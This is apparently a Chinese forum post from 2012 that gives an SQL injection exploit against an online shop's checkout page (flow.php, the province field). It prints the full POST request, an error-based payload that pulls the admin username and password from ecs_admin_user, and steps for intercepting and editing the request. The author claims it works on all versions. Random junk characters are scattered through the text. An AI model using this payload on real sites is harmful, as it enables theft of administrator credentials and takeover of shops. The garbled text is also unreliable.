感谢欠杀的黑盒
& ^) J5 ]4 o$ @# R
Y5 V7 H9 A3 e( a5 u7 x 7 p9 r$ c+ J3 u& R8 V- x1 a I
把任意商品加入购物车在填写配送地址那一页，有地区选择+ _1 T6 |' [3 W7 _8 x
' C% _) @- h4 [: x$ C
flow.php?step=consignee&direct_shopping=1; d/ `. P/ W% T9 Y. f& H
比如省选择安徽0 [# Q1 d% a# Y: U+ J* s
8 U+ d0 W: Q$ d
其中POST数据如下/ m2 u! U4 r" ?
4 K: ?3 c0 Y( g
country=1&province=3&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=province=34 @8 E" ?) w9 V8 }
改成1 V. H8 k( z3 m- c9 i
; I5 q( R2 `' q) V4 V" j& yprovince=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #
7 H2 B/ \- S6 x/ m9 Q' q9 Q0 nps：详细的方法，用火狐tamper data插件……..即可改post内容…..
, S7 k. C" Z5 b4 L
5 a$ E2 H- @4 m' v( ^先注册账户，随便选个商品进购物车，然后填地址，电话什么的，填好开始抓包，改包/ k/ I% o) ~- M
5 P3 ?0 m e: i2 o1 q/ p就会回显错误页面了。。。。# O7 M; q$ {* ~. G
- o( P. ^* \. [; G- C0 o" q
我自己没用这个日站过，就测试了一个最新版和老版本，均ok，所以写全版本，理论上应该是的# t8 d9 l+ y( f2 v
|
发表于 2012-12-31 09:19:27
收藏
支持
反对